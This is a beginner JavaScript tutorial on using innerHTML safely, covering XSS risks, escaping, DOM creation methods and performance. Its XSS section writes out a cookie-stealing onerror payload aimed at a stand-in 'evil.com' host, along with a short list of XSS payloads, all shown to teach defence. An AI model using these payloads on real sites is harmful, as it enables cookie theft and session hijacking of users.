Using innerHTML Safely in JavaScript DOM Methods

Learn how to use innerHTML safely in JavaScript. Understand XSS risks, sanitization techniques, and when to use innerHTML vs DOM creation methods for dynamic content.

JavaScriptbeginner

RuneHub Team

February 28, 2026

10 min read

RuneHub Team

Feb 28, 2026

10 min read

The innerHTML property is one of the most powerful DOM manipulation tools in JavaScript. It lets you read and write raw HTML, build complex layouts dynamically, and replace entire sections of a page with a single assignment. But that power comes with serious security risks. Improperly used, innerHTML creates Cross-Site Scripting (XSS) vulnerabilities that let attackers run arbitrary code in your users' browsers. This guide teaches you how to use innerHTML effectively while keeping your application secure.

What innerHTML Does

The innerHTML property gets or sets the HTML markup contained within an element. Unlike textContent which treats everything as plain text, innerHTML parses HTML tags and renders them in the browser.

javascript

const container = document.getElementById("container");
 
// Reading innerHTML returns the raw HTML string
console.log(container.innerHTML);
// "<h2>Hello</h2><p>Welcome to the site.</p>"
 
// Setting innerHTML replaces all content with parsed HTML
container.innerHTML = "<h2>New Title</h2><p>New content with <strong>bold</strong> text.</p>";
 
// Clear all content
container.innerHTML = "";

How the Browser Processes innerHTML

When you set innerHTML, the browser:

Parses the HTML string into DOM nodes
Removes all existing child nodes from the element
Inserts the new parsed nodes
Triggers a re-render of the affected area

javascript

// Step by step
const box = document.getElementById("box");
 
// Before: <div id="box"><p>Old content</p></div>
box.innerHTML = "<span>New content</span>";
// After: <div id="box"><span>New content</span></div>
 
// The old <p> element is completely destroyed
// Any event listeners on it are gone

The XSS Security Risk

Cross-Site Scripting (XSS) happens when an attacker injects malicious code into your web page. The innerHTML property is a common attack vector because it executes HTML (and in some cases, JavaScript) from strings.

How XSS Works with innerHTML

javascript

// A comment form that displays user input
function addComment(username, commentText) {
  const commentList = document.getElementById("comments");
 
  // DANGEROUS: Directly injecting user input into innerHTML
  commentList.innerHTML += `
    <div class="comment">
      <strong>${username}</strong>
      <p>${commentText}</p>
    </div>
  `;
}
 
// Normal user
addComment("Alice", "Great article!");
 
// Attacker submits this as their "comment"
addComment("Hacker", '<img src="x" onerror="document.location=\'https://evil.com/steal?cookie=\'+document.cookie">');
// The browser executes the onerror handler, stealing the user's cookies!

Common XSS Payloads That Work with innerHTML

javascript

// These strings, when passed to innerHTML, execute JavaScript:
 
// 1. Image with error handler
'<img src="x" onerror="alert(1)">'
 
// 2. SVG with onload
'<svg onload="alert(1)">'
 
// 3. Event handlers on any element
'<div onmouseover="alert(1)">Hover me</div>'
 
// 4. iframe injection
'<iframe src="https://evil.com"></iframe>'
 
// 5. Style-based data theft (CSS injection)
'<style>body { background: url("https://evil.com/track") }</style>'

Note: <script> tags inserted via innerHTML do NOT execute in modern browsers. However, the event handler approaches above still work, making innerHTML dangerous with user input.

Safe Alternatives to innerHTML

Alternative 1: textContent (For Plain Text)

When you only need to display text, textContent is always the right choice:

javascript

function displayUsername(name) {
  // SAFE: textContent auto-escapes HTML
  document.getElementById("username").textContent = name;
}
 
displayUsername('<script>alert("xss")</script>');
// Displays literally: <script>alert("xss")</script>

Alternative 2: DOM Creation Methods (For HTML Structure)

Build elements programmatically for complete safety:

javascript

function addComment(username, commentText) {
  const commentList = document.getElementById("comments");
 
  const comment = document.createElement("div");
  comment.className = "comment";
 
  const nameElement = document.createElement("strong");
  nameElement.textContent = username; // Safe
 
  const textElement = document.createElement("p");
  textElement.textContent = commentText; // Safe
 
  comment.appendChild(nameElement);
  comment.appendChild(textElement);
  commentList.appendChild(comment);
}
 
// Even malicious input is safely escaped
addComment("Hacker", '<img src="x" onerror="alert(1)">');
// Renders as visible text, not as an HTML element

Alternative 3: Template Elements

HTML <template> elements provide a way to define reusable HTML structures:

javascript

// HTML:
// <template id="comment-template">
//   <div class="comment">
//     <strong class="author"></strong>
//     <p class="text"></p>
//     <time class="date"></time>
//   </div>
// </template>
 
function addComment(username, text) {
  const template = document.getElementById("comment-template");
  const clone = template.content.cloneNode(true);
 
  // Fill in the data safely with textContent
  clone.querySelector(".author").textContent = username;
  clone.querySelector(".text").textContent = text;
  clone.querySelector(".date").textContent = new Date().toLocaleDateString();
 
  document.getElementById("comments").appendChild(clone);
}

Alternative 4: insertAdjacentHTML

When you need to add HTML without replacing existing content, insertAdjacentHTML is more efficient than innerHTML +=:

javascript

const list = document.getElementById("notifications");
 
// innerHTML += re-parses ALL existing content
list.innerHTML += "<li>New notification</li>"; // Slow: destroys and recreates everything
 
// insertAdjacentHTML only parses the new fragment
list.insertAdjacentHTML("beforeend", "<li>New notification</li>"); // Fast: appends only
 
// Position options:
// "beforebegin" - before the element itself
// "afterbegin"  - inside, before first child
// "beforeend"   - inside, after last child
// "afterend"    - after the element itself

When innerHTML IS Safe to Use

The innerHTML is not inherently evil. It is safe when you control the content and no user input is involved.

Safe Use Case 1: Static HTML from Your Code

javascript

// SAFE: You wrote this HTML, no user data
function renderEmptyState() {
  const container = document.getElementById("content");
  container.innerHTML = `
    <div class="empty-state">
      <h2>No Results Found</h2>
      <p>Try adjusting your search filters.</p>
      <button id="clear-filters">Clear All Filters</button>
    </div>
  `;
 
  // Re-attach event listener (innerHTML destroyed the old ones)
  document.getElementById("clear-filters").addEventListener("click", clearFilters);
}

Safe Use Case 2: Sanitized Server Data

javascript

// SAFE: Server-rendered HTML that has been sanitized server-side
async function loadArticle(articleId) {
  const response = await fetch(`/api/articles/${articleId}`);
  const data = await response.json();
 
  // The server has already sanitized this HTML
  document.getElementById("article-body").innerHTML = data.sanitizedHtml;
}

Safe Use Case 3: Escaped User Data in Templates

javascript

// SAFE: All user data is escaped before insertion
function renderCard(product) {
  const container = document.getElementById("products");
 
  const safeTitle = escapeHtml(product.title);
  const safeDesc = escapeHtml(product.description);
  const safePrice = escapeHtml(String(product.price));
 
  container.innerHTML += `
    <div class="product-card">
      <h3>${safeTitle}</h3>
      <p>${safeDesc}</p>
      <span class="price">$${safePrice}</span>
    </div>
  `;
}
 
function escapeHtml(text) {
  const map = {
    "&": "&amp;",
    "<": "&lt;",
    ">": "&gt;",
    '"': "&quot;",
    "'": "&#039;"
  };
  return text.replace(/[&<>"']/g, char => map[char]);
}

HTML Sanitization Techniques

Manual Escape Function

The simplest approach uses a character replacement map:

javascript

function escapeHtml(unsafeString) {
  const escapeMap = {
    "&": "&amp;",
    "<": "&lt;",
    ">": "&gt;",
    '"': "&quot;",
    "'": "&#039;"
  };
  return unsafeString.replace(/[&<>"']/g, char => escapeMap[char]);
}
 
// Usage
const userInput = '<script>alert("xss")</script>';
const safe = escapeHtml(userInput);
// "&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;"
 
document.getElementById("output").innerHTML = safe;
// Displays: <script>alert("xss")</script> (as text)

DOM-Based Escape (Browser Trick)

Use the browser's own escaping by writing to textContent and reading from innerHTML:

javascript

function escapeHtml(text) {
  const div = document.createElement("div");
  div.textContent = text;
  return div.innerHTML;
}
 
const malicious = '<img src="x" onerror="alert(1)">';
console.log(escapeHtml(malicious));
// "&lt;img src=&quot;x&quot; onerror=&quot;alert(1)&quot;&gt;"

Using the Sanitizer API (Modern Browsers)

The built-in Sanitizer API provides native HTML sanitization:

javascript

// Check browser support
if (window.Sanitizer) {
  const sanitizer = new Sanitizer();
 
  const dirty = '<p>Hello</p><script>alert(1)</script><img onerror="alert(1)">';
 
  // setHTML sanitizes and sets content in one step
  document.getElementById("output").setHTML(dirty, { sanitizer });
  // Result: <p>Hello</p><img> (dangerous attributes removed)
}
 
// Custom sanitizer configuration
const strictSanitizer = new Sanitizer({
  allowElements: ["p", "strong", "em", "a", "br"],
  allowAttributes: {
    href: ["a"]
  }
});

Performance Considerations

The innerHTML += Anti-Pattern

Appending with innerHTML += is one of the most common performance mistakes:

javascript

const list = document.getElementById("list");
 
// SLOW: Re-parses and recreates ALL existing content on each iteration
for (let i = 0; i < 1000; i++) {
  list.innerHTML += `<li>Item ${i}</li>`; // Destroys and rebuilds everything!
}
 
// FAST: Build the string first, set once
let html = "";
for (let i = 0; i < 1000; i++) {
  html += `<li>Item ${i}</li>`;
}
list.innerHTML = html; // Single parse and render
 
// FASTEST: Use DocumentFragment with DOM methods
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
  const li = document.createElement("li");
  li.textContent = `Item ${i}`;
  fragment.appendChild(li);
}
list.appendChild(fragment); // Single DOM operation

Approach	1,000 items	Event listeners preserved
`innerHTML +=` in loop	~800ms	No (all destroyed each iteration)
Build string, single `innerHTML =`	~15ms	No (all destroyed once)
DocumentFragment with DOM methods	~8ms	Yes (existing listeners untouched)

Event Listener Destruction

Setting innerHTML removes all event listeners on child elements:

javascript

const container = document.getElementById("app");
 
// Add a button with an event listener
const btn = document.createElement("button");
btn.textContent = "Click me";
btn.addEventListener("click", () => console.log("clicked!"));
container.appendChild(btn);
 
// This destroys the button AND its event listener
container.innerHTML += "<p>New content</p>";
 
// The button is recreated from HTML, but has no click handler
// Solution: use appendChild instead
const p = document.createElement("p");
p.textContent = "New content";
container.appendChild(p); // Button and its listener survive

Common Mistakes to Avoid

Mistake 1: Trusting User Input

javascript

// NEVER do this
const search = document.getElementById("search-input").value;
document.getElementById("results").innerHTML = `Results for: ${search}`;
 
// ALWAYS escape or use textContent
const resultsHeader = document.getElementById("results-header");
resultsHeader.textContent = `Results for: ${search}`;

Mistake 2: Using innerHTML When textContent Suffices

javascript

// OVERKILL: innerHTML for plain text
element.innerHTML = "Hello World"; // Works but unnecessary risk
 
// CORRECT: textContent for plain text
element.textContent = "Hello World"; // Safer and clearer intent

Mistake 3: Not Re-Attaching Event Listeners

javascript

// After setting innerHTML, old listeners are gone
container.innerHTML = '<button id="save">Save</button>';
 
// Must re-attach
document.getElementById("save").addEventListener("click", handleSave);
 
// Better: Use event delegation on a parent that doesn't get replaced
document.getElementById("app").addEventListener("click", (e) => {
  if (e.target.id === "save") handleSave();
});

Real-World Example: Safe Dynamic Table Builder

javascript

function buildDataTable(data, columns) {
  const table = document.getElementById("data-table");
 
  // Build header (controlled HTML, no user data in structure)
  let headerHtml = "<thead><tr>";
  columns.forEach(col => {
    headerHtml += `<th>${escapeHtml(col.label)}</th>`;
  });
  headerHtml += "</tr></thead>";
 
  // Build body with escaped user data
  let bodyHtml = "<tbody>";
  data.forEach(row => {
    bodyHtml += "<tr>";
    columns.forEach(col => {
      const value = row[col.key] ?? "";
      bodyHtml += `<td>${escapeHtml(String(value))}</td>`;
    });
    bodyHtml += "</tr>";
  });
  bodyHtml += "</tbody>";
 
  // Single innerHTML assignment (efficient)
  table.innerHTML = headerHtml + bodyHtml;
 
  // Attach sort handlers via delegation (survives innerHTML changes)
  table.querySelector("thead").addEventListener("click", (e) => {
    const th = e.target.closest("th");
    if (th) {
      const index = Array.from(th.parentNode.children).indexOf(th);
      sortTable(data, columns[index].key);
    }
  });
}
 
function escapeHtml(text) {
  const map = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#039;" };
  return text.replace(/[&<>"']/g, c => map[c]);
}
 
// Usage
buildDataTable(
  [
    { name: "Alice", role: "Admin", email: "alice@example.com" },
    { name: "Bob", role: "Editor", email: "bob@example.com" }
  ],
  [
    { key: "name", label: "Name" },
    { key: "role", label: "Role" },
    { key: "email", label: "Email" }
  ]
);

Rune AI

Key Insights

XSS vulnerability: innerHTML with unsanitized user input allows attackers to inject executable HTML through event handler attributes
Safe alternatives: Use textContent for plain text, createElement for safe HTML construction, and escapeHtml when you must use innerHTML with dynamic data
Performance: Build complete HTML strings before assigning to innerHTML; never use innerHTML += inside loops
Event listeners: Setting innerHTML destroys all event listeners on child elements; use event delegation on stable parent elements
Default mindset: Treat innerHTML as an unsafe API that requires explicit escaping for every piece of dynamic data

Frequently Asked Questions

Does innerHTML execute script tags?

No. Modern browsers intentionally block `<script>` tags inserted via `innerHTML` from executing. This is specified in the HTML5 standard. However, event handler attributes like `onerror`, `onload`, and `onmouseover` on other elements still execute, making innerHTML dangerous with unsanitized input.

Is innerHTML faster than creating elements with JavaScript?

For building large blocks of HTML from scratch, `innerHTML` with a pre-built string is often faster than creating individual elements because the browser's native HTML parser is highly optimized. However, `innerHTML` destroys existing content and event listeners, so DOM creation methods are better when you need to append to existing content.

When should I use innerHTML over textContent?

Use `innerHTML` when you need to insert HTML markup that the browser should render as styled elements (headings, paragraphs, links, lists, etc.). Use `textContent` when you are setting plain text that should not be interpreted as HTML. If the content comes from user input, always use `textContent` or escape the HTML first.

What is the Sanitizer API and can I use it today?

The Sanitizer API is a built-in browser API that removes dangerous HTML elements and attributes from strings. It is available in Chrome and Edge behind a flag as of 2026, with Firefox working on support. For production code today, use a library like DOMPurify for sanitization or stick with `textContent` and DOM creation methods.

How do I prevent innerHTML from destroying event listeners?

Use event delegation by attaching listeners to a parent element that does not get replaced. Alternatively, use `insertAdjacentHTML` to add new content without touching existing elements, or switch to DOM creation methods (`createElement`, `appendChild`) that do not affect siblings.

Conclusion

The innerHTML property is a powerful tool for building dynamic HTML, but it requires careful handling. The core rule is straightforward: never pass unsanitized user input to innerHTML. For plain text, use textContent. For dynamic HTML with user data, escape every value with an escapeHtml function or use DOM creation methods. When you do use innerHTML, batch your HTML into a single string assignment rather than using innerHTML += in a loop, and use event delegation to handle listeners on dynamically created elements.

Using innerHTML Safely in JavaScript DOM Methods

What innerHTML Does

How the Browser Processes innerHTML

The XSS Security Risk

How XSS Works with innerHTML

Common XSS Payloads That Work with innerHTML

Safe Alternatives to innerHTML

Alternative 1: textContent (For Plain Text)

Alternative 2: DOM Creation Methods (For HTML Structure)

Alternative 3: Template Elements

Alternative 4: insertAdjacentHTML

When innerHTML IS Safe to Use

Safe Use Case 1: Static HTML from Your Code

Safe Use Case 2: Sanitized Server Data

Safe Use Case 3: Escaped User Data in Templates

HTML Sanitization Techniques

Manual Escape Function

DOM-Based Escape (Browser Trick)

Using the Sanitizer API (Modern Browsers)

Performance Considerations

The innerHTML += Anti-Pattern

Event Listener Destruction

Common Mistakes to Avoid

Mistake 1: Trusting User Input

Mistake 2: Using innerHTML When textContent Suffices

Mistake 3: Not Re-Attaching Event Listeners

Real-World Example: Safe Dynamic Table Builder

Rune AI

Frequently Asked Questions

Does innerHTML execute script tags?

Is innerHTML faster than creating elements with JavaScript?

When should I use innerHTML over textContent?

What is the Sanitizer API and can I use it today?

How do I prevent innerHTML from destroying event listeners?

Conclusion

Tags

More in this topic

OffscreenCanvas API in JS for UI Performance

Advanced Web Workers for High Performance JS

JavaScript Macros and Abstract Code Generation